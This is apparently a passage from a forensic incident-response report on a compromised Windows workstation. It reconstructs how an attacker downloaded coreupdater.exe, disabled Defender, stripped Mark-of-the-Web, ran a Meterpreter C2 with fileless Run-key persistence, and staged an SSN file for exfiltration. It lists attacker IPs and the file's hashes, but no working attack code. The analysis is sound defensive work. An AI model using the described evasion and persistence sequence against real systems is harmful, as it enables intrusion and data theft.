- autorunsc entries found in memory that reference a "James" profile, which has no matching $MFT entry and is not attacker activity.
- No e-mail stores exist on the host, so e-mail as the delivery route is ruled out.

F-029: Download provenance of coreupdater.exe: typed navigation to http://194.61.24.102/ in legacy Edge, Save-As to Downloads with Mark-of-the-Web, MOTW stream removed at first execution after SmartScreen check

Severity	**High**
Confidence	confirmed
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:registry: opensavepidlmru artifact:windows search (activity history) artifact:windows timeline (activitiescache) network
Category	initial access / execution (ingress tool transfer)

MITRE ATT&CK	T1105, T1204.002, T1553.005
Period (UTC)	2020-09-19 02:39:05.286189 → 2020-09-19 03:40:49.317328

Observed facts

Facts (host UTC; pcap clock ≈ host −1 h, see F-011):
- Windows Timeline / SIDR activity: Administrator, Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge "Directory listing for /" http://194.61.24.102/ start 03:39:29, end 03:44:52.
- Suricata HTTP (UA "Mozilla/5.0 … Edge/18.19041", legacy EdgeHTML): 10.42.85.115 GET http://194.61.24.102/ (200, no Referer → typed/pasted URL, eve_http#153, pcap 02:39:26 ≈ host 03:39:26); body 228 bytes (fileinfo#137, SHA256 6978f8fa…). Then GET /coreupdater.exe (200, Referer http://194.61.24.102/, eve_http#156, pcap 02:39:58); fileinfo#138 SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6, 7168 bytes.
- $UsnJrnl: Edge INetCache file …\MicrosoftEdge\Cache\ELJ4KX67\coreupdater[1].exe (MFT 24493) created 03:39:57.907; Save-As: Downloads\coreupdater.exe.b1jhvkh.partial (MFT 26213) created 03:40:00.848, NamedDataExtend/StreamChange at 03:40:00.864 (Zone.Identifier ADS written), renamed coreupdater.exe 03:40:00.864; cache copy deleted 03:40:00.848. OpenSavePidlMRU (exe and *): "This PC\Downloads\coreupdater.exe" 03:40:00.69.
- Same MFT 26213 renamed to .\Windows\System32\coreupdater.exe 03:40:42.254, then StreamChange at 03:40:49.317/.333 = execution time (Prefetch). Current $MFT row for coreupdater.exe: HasAds=False, no ZoneIdContents → the Zone.Identifier stream no longer exists.
- Suricata TLS: nav.smartscreen.microsoft.com at pcap 02:39:04/02:39:27/02:40:01 (Edge SmartScreen URL/download reputation) and checkappexec.microsoft.com at pcap 02:40:45 and 02:40:49.94 (Windows SmartScreen app-reputation check at launch of a MOTW file).
- No other file was downloaded by the host from 194.61.24.102 (fileinfo shows only "/" and "/coreupdater.exe"). No other Edge HTTP downloads of executables/scripts in the capture; other Edge traffic of 10.42.85.115 is benign browsing (Bing image results for "Jessica" Rick&Morty on 2020-09-18 ~23:00 host, by mortysmith → Pictures\Jessica.jpg 23:01:11 and Documents\Portal_gun.png 23:07:44, both with Edge Zone.Identifier ZoneId=3, no HostUrl).

Analysis

Interpretation: the attacker, interactively in the RDP session as C137\Administrator, opened the legacy Edge (first run for this profile: microsoftedgewelcome at pcap 02:39:05), typed the IP of the attacker web server (plain HTTP directory listing, likely python http.server-type), saved coreupdater.exe to Downloads, moved it to System32 and launched it. The MOTW was present at download (StreamChange at save time) and was removed at 03:40:49 at the moment of execution, which matches the SmartScreen checkappexec exchange: the most likely explanation is the user clicking through the SmartScreen/'Open File – Security Warning' prompt ('Run anyway' / unchecking 'Always ask'), which deletes Zone.Identifier. Alternative (less likely): manual Unblock-File/Properties→Unblock in the same second. Exact HostUrl/ReferrerUrl content is not recoverable (ADS gone, not found in $LogFile text). Defender had been disabled at 03:39:45 just before the download (F-007). Network (pcap) + disk ($UsnJrnl/MRU) + Windows Timeline are independent sources.

Evidence (17)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 02:39:26.940438	HTTP (Suricata)	HTTP request / http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=text/html | http_length=228 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#153	case001.pcap
2020-09-19 02:39:58.411571	HTTP (Suricata)	HTTP request /coreupdater.exe http_hostname=194.61.24.102 | http_http_method=GET |	suricata/case001.pcap/ eve_http.jsonl#156	case001.pcap

UTC	Artifact	Detail	Reference	Original source
		http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=application/x-msdos-program | http_length=7168 | src_ip=10.42.85.115 | dest_ip=194.61.24.102		
2020-09-19 02:39:26.941704	Files transferred (Suricata)	file transferred over the network / app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=228 | fileinfo_sha256=6978f8fa2bf5afbe1a074401b923ead519ce89471d83376f5cfda50c12bc2d77 | fileinfo_md5=614645af648513231c283090faa5c469 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#137	case001.pcap
2020-09-19 02:39:58.412735	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#138	case001.pcap
2020-09-19 03:39:57.907806	$UsnJrnl:$J	USN $J F:\Users\Administrator\AppData\Local\Packages\ Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\ MicrosoftEdge\Cache\ELJ4KX67\coreupdater[1].exe FileCreate [Archive|NotContentIndexed] entry=24493-3	mftecmd_usnjrnl/ usnjrnl.csv#35845	F:\$Extend\$J
2020-09-19 03:40:00.847956	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\ coreupdater.exe.b1jhvkh.partial FileCreate [Archive] entry=26213-4	mftecmd_usnjrnl/ usnjrnl.csv#35860	F:\$Extend\$J
2020-09-19 03:40:00.863618	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\ coreupdater.exe.b1jhvkh.partial NamedDataExtend|StreamChange [Archive] entry=26213-4	mftecmd_usnjrnl/ usnjrnl.csv#35876	F:\$Extend\$J
2020-09-19 03:40:00.863618	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe RenameNewName|Close [Archive] entry=26213-4	mftecmd_usnjrnl/ usnjrnl.csv#35889	F:\$Extend\$J
2020-09-19 03:40:42.254194	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe RenameNewName [Archive] entry=26213-4	mftecmd_usnjrnl/ usnjrnl.csv#35942	F:\$Extend\$J
2020-09-19 03:40:49.317328	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe StreamChange [Archive] entry=26213-4	mftecmd_usnjrnl/ usnjrnl.csv#36064	F:\$Extend\$J
2020-09-19 03:40:00.691657	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Downloads\coreupdater.exe exe mru=0	recmd_kroll/ 20261025191813/ recmd_kroll_F_OpenSavePidlMRU.csv#2	
2020-09-19 03:39:29	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge Directory listing for / (Microsoft Edge) http://194.61.24.102/ (http://194.61.24.102/) type=ExecuteOpen	wxtcmd/F/Users/ Administrator/AppData/ Local/ ConnectedDevicesPlatform/L.Administrator/ 20261025201827_Administrator_Activity.csv#7	F:\Users\Administrator\ AppData\Local\ ConnectedDevicesPlatform\L.Administrator\ ActivitiesCache.db
2020-09-19 03:39:29	Windows Search (activity history)	Activity: start http://194.61.24.102/ Microsoft Edge Directory listing for / Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge	sidr/DESKTOP-SDN1RPT_Activity_History_Report_20261025_191826.918732700.csv#29	F:\ProgramData\ Microsoft\search\data\ applications\windows\ Windows.edb
2020-09-19 02:40:45.794820	TLS (Suricata)	TLS handshake checkappexec.microsoft.com tls_sni=checkappexec.microsoft.com | dest_ip=23.98.151.170 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=CN=smartscreen.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1 | tls_ja3_hash=28a2c9bd18a11de089ef85a160da29e4 | tls_ja3s_hash=986571066668055ae9481cb84fda634a	suricata/case001.pcap/ eve_tls.jsonl#16329	case001.pcap
2020-09-19 02:40:49.938222	TLS (Suricata)	TLS handshake checkappexec.microsoft.com tls_sni=checkappexec.microsoft.com | dest_ip=23.98.151.170 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=CN=smartscreen.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft	suricata/case001.pcap/ eve_tls.jsonl#16333	case001.pcap

UTC	Artifact	Detail	Reference	Original source
		IT TLS CA 1 | tls_ja3_hash=28a2c9bd18a11de089ef85a160da29e4 | tls_ja3s_hash=986571066668055ae9481cb84fda634a		
2020-09-19 02:39:05.286189	TLS (Suricata)	TLS handshake microsoftedgewelcome.microsoft.com tls_sni=microsoftedgewelcome.microsoft.com | dest_ip=52.171.136.200 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=microsoftedgewelcome.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 2 | t	suricata/case001.pcap/ eve_tls.jsonl#16207	case001.pcap
2020-09-19 03:40:00.691657	$MFT	$SI creation (B) F:\Windows\System32\coreupdater.exe size=7168	mftecmd_mft/ mft.csv#27972	F:\$MFT

4.11 Defense evasion and anti-forensics

Defense evasion and anti-forensics review.

Log clearing: none found.
- No Security 1102, no System 104 and no 4719.
- EventRecordIDs have no gaps in Security (1–2457), System (1–994), both PowerShell channels and Defender/Operational.
- The six Security 1100 events are normal shutdowns before the 01:24 boot.

Defender:
- The attacker turned Defender off at 03:39:45–49 (5001, and 5007 for SpyNet 2→0, SubmitSamples 1→0, TamperProtection 0x1→0x4), as already reported in F-007.
- It stayed off until acquisition: DisableRealtimeMonitoring=1 is still in the hive, there is no re-enable event and no detection for coreupdater.exe or the PowerShell loader.
- No exclusions were set (registry Exclusions keys and the MPLog lists are empty).
- I added the registry rows to F-007 as corroboration.

Timestomping: none on attacker files.
- The SI<FN and uSecZeros hits are files and folders laid down when the OS image was deployed.
- coreupdater.exe's $SI times match the $J timestamps.

Deletion and wiping:
- No deletions in Prefetch, the event-log folder or the Recycle Bin, and no wiping tools on disk.
- The only attacker deletions are the Edge partial and cache copies of coreupdater.exe and the loot.zip archive (already in F-026).

Clock changes: all 4616 and Kernel-General 1 events come from W32Time or the clock resync when the VM resumed at 03:13.

Memory:
- No hidden processes (psxview), PEB spoofing or unlinked DLLs.
- The injection findings stand (F-015 spoolsv, F-016 PowerShell). I added the RWX thread start in PowerShell PID 3316 to F-016.
- The MsMpEng malfind hit and the non-file-backed thread starts are false positives.

Recorded: F-030 (overall assessment), T-024, and a note listing the false positives.

F-030: Defense-evasion / anti-forensics assessment: no log clearing, no timestomping, no wiping; only evasion = Defender weakening (persisting until acquisition) and MOTW removal

Severity	**Medium**
Confidence	confirmed
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:registry (recmd kroll) evtx:microsoft-windows-windows defender%4operational.evtx evtx:security.evtx

	evtx:system.evtx memory
Category	anti-forensics
MITRE ATT&CK	T1562.001, T1070
Period (UTC)	2020-09-18 22:52:57.112379 → 2020-09-19 03:47:09.917465

Observed facts

FACTS (all UTC):
1) Event-log clearing: no Security 1102 and no System 104 (EventLog) anywhere in raw.evtx; the 1102/104 IDs present belong to unrelated channels (ShellCommon-StartLayoutPopulation, StateRepository, DeviceManagement, RdpCoreTS). EventRecordIDs are contiguous with no gap: Security 1–2457 (2020-09-18 04:58:02 → 2020-09-19 05:18:23), System 1–994, Windows PowerShell 1–15, PowerShell/Operational 1–9, Defender/Operational 1–41. Security 1100 (6 events) are shutdowns, the last at 2020-09-19 01:08:35, before the 01:24:04 boot. No 4719 (audit policy change).
2) Defender: 5001 at 03:39:45 (RTP disabled) and 5007 SpyNetReporting 2→0 (03:39:46), SubmitSamplesConsent 1→0 (03:39:47), Features\TamperProtection 0x1→0x4 (03:39:49) (evtx rows 35493-35496). SOFTWARE hive at acquisition still holds Real-Time Protection\DisableRealtimeMonitoring=1 (LastWrite 03:39:44.30), Spynet\SpyNetReporting=0 / SubmitSamplesConsent=0 (LastWrite 03:39:47.79). No 5000/5004 re-enable afterwards; only 1151 health reports at 03:42:52 and 04:42:52; no 1116/1117 detection for coreupdater.exe or the PowerShell loader. Defender Exclusions\ Paths/Processes/Extensions/IpAddresses/TemporaryPaths keys are empty (LastWrite 2020-09-18 22:52:57, pre-incident); MPLog shows empty exclusion lists.
3) Timestomping: raw.mft SI<FN / uSecZeros hits in the 03:30–05:08 window are only OS-image files/directories (FN Created 2020-09-18 06:35–06:38 = image deployment, e.g. System32\ExplorerFrame.dll, CHXSmartScreen.exe, SecHealthUI.exe) and Search/Temp files with vendor timestamps. Attacker artifacts are coherent: C:\Windows\System32\ coreupdater.exe (MFT row 27972) SI Created 03:40:00.69 / Modified 03:40:00.86 / RecordChange 03:40:49.33 match $J (download/rename/move/MOTW removal); Prefetch COREUPDATER.EXE-157C54BB.pf created 03:40:59.
4) Deletion / wiping: $J FileDelete records after 03:30 are OneDrive per-user setup, Edge cache, Explorer/Search temp files, plus attacker-relevant deletions already reported (coreupdater.exe partial/cache copies at 03:40:00, loot.zip at 03:47:09 – F-026) and PowerShell __PSScriptPolicyTest_*.ps1 (05:08:39/05:08:43, benign PowerShell artefact of the Run-key loader). No deletion in \Windows\Prefetch, \winevt\Logs or $Recycle.Bin; no sdelete/cipher/CCleaner/BleachBit/wevtutil/timestomp binaries in $MFT.
5) System time: all 4616/Kernel-General 1 events are svchost.exe (LogonId 0x3E5, W32Time) or "System time synchronized with the hardware clock" (03:13:20, OldTime 01:54:39 = VM suspend/resume); none in the attacker window 03:36–03:52 or at 05:08.
6) PowerShell logging was not disabled through policy (no ScriptBlockLogging/ModuleLogging values in the hive); PowerShell channels simply only contain the 05:08 loader activity.
7) Memory: no hidden process (psxview: no process absent from pslist without ExitTime), no PEB masquerading, no unlinked DLLs (ldrmodules). Injection already reported (F-015 spoolsv PID 2188, F-016 powershell PID 3316 incl. RWX thread start). MsMpEng.exe PID 2404 RWX malfind hit and non-file-backed thread starts in Edge/Search/svchost/WmiPrvSE are false positives.

Analysis

The attacker's evasion was limited to (a) switching off Defender RTP/MAPS/sample submission through the Windows Security GUI (SecHealthUI, F-007/F-027) just before downloading coreupdater.exe, a state that persisted until acquisition and explains the absence of any Defender detection of the unobfuscated Metasploit payload and loader; the TamperProtection value change 0x1→0x4 is consistent with tamper protection being reported off (value semantics vary by platform version – interpretation probable); (b) removal of the Zone.Identifier MOTW at execution (F-029); (c) in-memory techniques (process migration into spoolsv.exe, reflective loading in PowerShell, fileless registry payload). There is no indication of log clearing, timestomping, wiping, prefetch deletion or clock manipulation: the attacker left

coreupdater.exe, the service and the Run key in place. The loot.zip deletion (permanent, Shift+Del) is a cleanup of the staging archive only. Absence statements are backed by available sources (Security/System/PowerShell/Defender EVTX complete with contiguous RecordIDs, $MFT, $J 01:31→05:17, memory image). Limitation: $J starts at 01:31:32, so deletions before that are not visible.

Evidence (10)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:39:45.247925	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | %%827	evtxecmd/ evtxecmd_0.csv#35493	F:\Windows\System32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2020-09-19 03:39:49.843705	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\ SOFTWARE\Microsoft\Windows Defender\Features\ TamperProtection = 0x1 | New Value: HKLM\SOFTWARE\ Microsoft\Windows Defender\Features\TamperProtection = 0x4	evtxecmd/ evtxecmd_0.csv#35496	F:\Windows\System32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2020-09-19 03:39:44.301917	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/ recmd_kroll_F.csv#8622	F:\Windows\System32\ config\SOFTWARE
2020-09-18 22:52:57.112379	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender	recmd_kroll/ recmd_kroll_F.csv#8632	F:\Windows\System32\ config\SOFTWARE
2020-09-19 03:40:00.691657	$MFT	$SI creation (B) F:\Windows\System32\coreupdater.exe size=7168	mftecmd_mft/ mft.csv#27972	F:\$MFT
2020-09-19 03:47:09.917465	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip FileDelete|Close [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36805	F:\$Extend\$J
2020-09-19 03:13:20.501601	Event logs (EVTX)	EVTX event System 1 | Microsoft-Windows-Kernel-General | The system time was changed | OldTime: 2020-09-19 01:54:39.6645222 | NewTime: 2020-09-19 03:13:20.5000000 | Reason: System time synchronized with the hardware clock.	evtxecmd/ evtxecmd_0.csv#40808	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:13:28.318873	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 03:13:28.3154393 | NewTime: 2020-09-19 03:13:28.3183014 | LogonId: 0x3E5 | C:\Windows\ System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#39496	F:\Windows\System32\ winevt\logs\Security.evtx
	raw.vol_psxview	{"TreeDepth": "0", "Name": "spoolsv.exe", "Offset(Virtual)": "209519070331392", "PID": "2188", "csrss": "true", "pslist": "true", "psscan": "true", "thrdscan": "true"}	volatility/ windows.malware.psxview.PsXView.jsonl#1	
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "256", "Disasm": "\"\ n0x25453170000:\tor\tecx, dword ptr [rcx - 0x50f7d6f4]\ n0x25453170006:\tadd\tdword ptr [rdi + riz*2], edx\ n0x25453170009:\tadd\tedi, edi\n0x2545317000b:\tin\tal, dx\n0x2545317000d:\tcmp\tcl, byte ptr [rax]\"", "End VPN": "2561195573247", "File output": "Disabled", "Hexdump": "0b 89 0c 29 08 af	volatility/ windows.malware.malfind.Malfind.jsonl#2	

4.12 Collection, exfiltration and communications

Collection and exfiltration review:

- Confirmed staging: Explorer zip "My Social Security Number.zip" was created at 03:46:15, renamed loot.zip at 03:46:18, opened (ObjectId change + loot.lnk) and deleted at 03:47:09. The source files are tiny (22, 141 and 7 bytes), so the archive was at most a few hundred bytes.

- No archiver or transfer tools ran (Prefetch) and no other archives were created.

- BITS was used only by OneDrive. OneDrive was never signed in (ODL).

- No HTTP uploads to attacker or non-Microsoft hosts, no DNS tunnelling, no SMB writes, no attacker firewall rules (only 2004/2006 AppX rules) and no removable media.

- Network volumes (SRUM + pcap):

- coreupdater.exe sent 222 KB + 27 KB.
- Meterpreter C2 flow 50875 sent 280 KB up; flow 50972 sent 39 KB.
- The RDP stream sent 6.7 MB from the workstation to the DC, matching SRUM TermService at 7.1 MB.
- F-031 (high/probable): exfiltration of the small archive most likely went over the encrypted Meterpreter C2. The RDP clipboard is an alternative. Neither can be proven at content level.
- Timeline T-025 and a note were recorded. No new network IOCs beyond the existing 194.61.24.102 and 203.78.103.109.

F-031: Exfiltration assessment: tiny staged archive (loot.zip from 22-byte SSN file) and only plausible channel is the encrypted Meterpreter C2 or the RDP session; no cloud, BITS, SMB, HTTP-upload or DNS exfil

Severity	**High**
Confidence	probable
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:onedrive (odl logs) artifact:srum (network usage per application) network
Category	exfiltration
MITRE ATT&CK	T1560.001, T1041, T1005, T1074.001, T1021.001
Period (UTC)	2020-09-18 22:50:19.426026 → 2020-09-19 04:14:00

Observed facts

FACTS (all UTC host time; pcap timestamps are +0200 and ~1 h behind host clock, see F-011):
1) Staging: $UsnJrnl shows "My Social Security Number.zip" created by Explorer in C:\Users\mortysmith\Documents at 03:46:15.27 (MFT 87445 then 87470 after the ~RF822ef7.TMP swap, usnjrnl.csv#36753/#36766), renamed loot.zip at 03:46:18.069 (#36776), ObjectIdChange at 03:46:18.129 (#36778, link tracking = the file was opened) with Recent\loot.lnk created at the same instant (#36780), then FileDelete at 03:47:09.917 (#36805). There are no other user-space file operations between 03:46:18 and 03:47:12, so no copy to another folder, share, \\tsclient or removable media. The source document C:\Users\mortysmith\Documents\My Social Security Number.txt is 22 bytes (mft.csv#117827), Plans.txt is 141 bytes (#117934) and Desktop\Thoughts.txt is 7 bytes (#117887). The archive was therefore at most a few hundred bytes.
2) Compression/transfer tools: Prefetch has no 7z, rar, zip, tar, rclone, curl, bitsadmin, ftp, scp, robocopy, xcopy or makecab. The archive was made with the native Explorer "Send to > Compressed folder" function. $UsnJrnl shows no other .zip/.7z/.rar/.tar/.cab outside WindowsApps/WinSxS/APPX temp files.
3) Cloud/BITS: Bits-Client 3/59/60 jobs are only OneDrive UpdateBinary (https://oneclient.sfx.ms/.../OneDriveSetup.exe) and PreSignInSettingsConfigJSON (https://g.live.com/odclientsettings/Prod). That includes the C137\Administrator job at 03:37:00 (evtx #12391/#12393/#12394), created automatically at profile creation. OneDrive ODL for Administrator shows UX.RequiredSignIn / IsSigninNeeded at 03:37:35 (odl_Administrator_Personal.csv#1398, #1402), so the client was never signed in. SRUM OneDrive.exe traffic is ≤23 KB sent per slot (NetworkUsages #161/#182/#207).
4) SRUM network usage (NetworkUsages_Output.csv): coreupdater.exe (Administrator) sent 222,046 B / received 333,817 B in the 04:14 slot (#190) and 26,570 / 170,146 B in the 05:14 slot (#193). powershell.exe (ricksanchez) sent 15,721 / received 178,042 B in the 05:14 slot (#206). TermService sent 7,120,599 B / received 1,158,782 B in the 04:14 slot (#170). rdpclip.exe (Administrator) ran in the 04:14 slot (AppResourceUseInfo #667).
5) Capture: the Meterpreter C2 flows from 10.42.85.115 to 203.78.103.109:443 sent 280,374 B up / 1,764,209 B down (src port 50875, 03:40:49 host → end of capture, eve_flow.jsonl#29788) and 39,409 B up / 488,552 B down (port 50972, 05:08:45 host, #16628). RDP flow DC 10.42.85.10:63121 → 10.42.85.115:3389 (03:36:23–03:52:14 host) carried 6,695,207 B from the workstation to the DC (#31238), which matches SRUM TermService. No other outbound flow to a non-Microsoft public IP has a significant upload: the top uploads are bing.com, displaycatalog, oneclient.sfx.ms and v10.events.data.microsoft.com (telemetry, 01:44 host, before the intrusion). There are no HTTP POST/PUT to non-Microsoft or non-PKI hosts (the only POSTs are o.ss2.us OCSP to the 10.90.90.90 sinkhole, go.microsoft.com and dmd.metaservices). No SMB WRITE from the workstation: only SYSVOL GPO reads and desktop.ini/AutoRun.inf on the Z:

share. No long or high-entropy DNS queries: the longest are AD SRV records and footprintdns/conviva telemetry.
6) Firewall: all Firewall 2004/2006 events after 03:30 are per-user AppX/Cortana/Skype rules created at the profile loads of 03:36 and 05:08. There are no 5156/Sysmon 3/22 network events.

Analysis

Collection is confirmed (F-013/F-026). Exfiltration is likely but cannot be proven at content level. The staged archive is tiny (a few hundred bytes), so it fits easily in the 280 KB the Meterpreter session (coreupdater.exe, later migrated into spoolsv.exe) sent upstream. The loot.lnk/ObjectId change at 03:46:18 shows the zip was opened or accessed right after the rename. Meterpreter "download" reads a file without leaving a disk copy, which would match the absence of any copy in $J before the deletion 51 s later. An alternative channel is the RDP session itself: clipboard via rdpclip.exe, which is active, or display. The 6.7 MB workstation→DC RDP stream is consistent with 16 minutes of graphical session but is TLS-encrypted, so a small clipboard transfer cannot be excluded or confirmed. Since the attacker had reached the DC and the share, they could also simply have re-read the files later. I found no evidence of cloud sync (OneDrive not signed in), BITS upload, HTTP upload, DNS tunnelling, SMB push or removable media exfiltration. The confidence is 'probable' because the C2 payload is encrypted and no content-level artifact (Meterpreter command history, decrypted stream) is available.

Evidence (12)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:46:15.269625	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\My Social Security Number.zip FileCreate [Archive] entry=87445-3	mftecmd_usnjrnl/ usnjrnl.csv#36753	F:\$Extend\$J
2020-09-19 03:46:18.069334	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip RenameNewName [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36776	F:\$Extend\$J
2020-09-19 03:46:18.129513	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip ObjectIdChange [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36778	F:\$Extend\$J
2020-09-19 03:46:18.129513	$UsnJrnl:$J	USN $J F:\Users\Administrator\AppData\Roaming\Microsoft\ Windows\Recent\loot.lnk FileCreate [Archive] entry=87445-4	mftecmd_usnjrnl/ usnjrnl.csv#36780	F:\$Extend\$J
2020-09-19 03:47:09.917465	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip FileDelete|Close [Archive] entry=87470-2	mftecmd_usnjrnl/ usnjrnl.csv#36805	F:\$Extend\$J
2020-09-18 22:50:19.426026	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) F:\Users\mortysmith\Documents\My Social Security Number.txt size=22	mftecmd_mft/ mft.csv#117827	F:\$MFT
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\ coreupdater.exe received=333817 sent=222046 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261025191812_SrumECmd_NetworkUsages_Output.csv#190	F:\Windows\System32\ SRU\SRUDB.dat
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) TermService received=1158782 sent=7120599 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261025191812_SrumECmd_NetworkUsages_Output.csv#170	F:\Windows\System32\ SRU\SRUDB.dat
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/ eve_flow.jsonl#29788	case001.pcap
2020-09-19 02:36:23.515604	Network flows (Suricata)	network flow: start 10.42.85.115 UDP 10.42.85.10:63121 -> 10.42.85.115:3389 failed state=established bytes=283842/6695207	suricata/case001.pcap/ eve_flow.jsonl#31238	case001.pcap
2020-09-19 04:08:45.483780	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50972 -> 203.78.103.109:443 failed state=established bytes=39409/488552	suricata/case001.pcap/ eve_flow.jsonl#16628	case001.pcap
2020-09-19 03:37:35.302000	OneDrive (ODL logs)	OneDrive: log entry UX.RequiredSignIn EventMachine.cpp EvtMachine::EventMachine::FireEvent UX.RequiredSignIn (SyncEngine-2020-09-19.0337.6904.1.aodl)	odl/ odl_Administrator_Personal.csv#1398	

4.13 Incident timeline and correlation

I rebuilt the incident timeline and checked that the different sources agree on time. Times are UTC; the host is on Pacific time (UTC-7).

Attack sequence
*1. **Reconnaissance and brute force (03:19, host-equivalent time):** 194.61.24.102 ran an RDP scan and brute force against the Administrator account on the DC (10.42.85.10).*
*2. **DC compromised (03:24):** the DC downloaded coreupdater.exe and opened a Meterpreter session.*
*3. **Initial access to the workstation (03:36:22–24):** RDP logon by C137\Administrator (SID -500) coming from the DC.*
*4. **Defender disabled (03:39:45–49).***
*5. **Payload download:***
- 03:39:26: Edge goes to http://194.61.24.102/ (new T-026).
- 03:39:57 → 03:40:00: download and Save-As into Downloads.
- 03:40:42: file moved to System32.
*6. **Execution (03:40:49):** coreupdater.exe runs, its Mark-of-the-Web is removed, and the C2 connection to 203.78.103.109:443 starts.*
*7. **Interactive commands:** cmd at 03:41:06, then sc.exe and service "coreupdater" at 03:42:42.*
*8. **Migration into spoolsv.exe (between 03:40:49 and 03:43:10):** coreupdater (PID 8324) exits at 03:43:10. Memory shows an injected PE (MZ, RWX) in spoolsv.exe PID 2188, which holds the C2 socket and a handle to lsass (new T-027).*
*9. **Privilege escalation (03:43:14):** getsystem service "nehgye".*
*10. **Fileless persistence (03:44:03):** HKLM Run value "coreupdate" plus payload key HKLM\Software\q9Z1bssi.*
*11. **Collection and staging (03:45:07–03:51:14):** the attacker browsed user profiles and built the loot.zip archive (03:46:15–03:47:09).*
*12. **Logoff (03:52:13).***
*13. **Persistence fires (05:08:15–05:08:45):** ricksanchez logs on (type 11/7, new T-028), the Run key launches the PowerShell loader (PID 508→3316) and a second C2 session opens.*
*14. **Responder acquisition from 05:08:58.** The C2 connections were still established when the capture ended at 05:38 (host time).*

Time consistency (F-032)
- The host sources agree to the second: EVTX, $MFT, $J, Prefetch, SRUM and memory.
- The only clock jump is a VM pause and resume: the clock went from 01:54:39 to 03:13:20 (Kernel-General 1) and was then adjusted slightly by W32Time. There was no backward change during the attack.
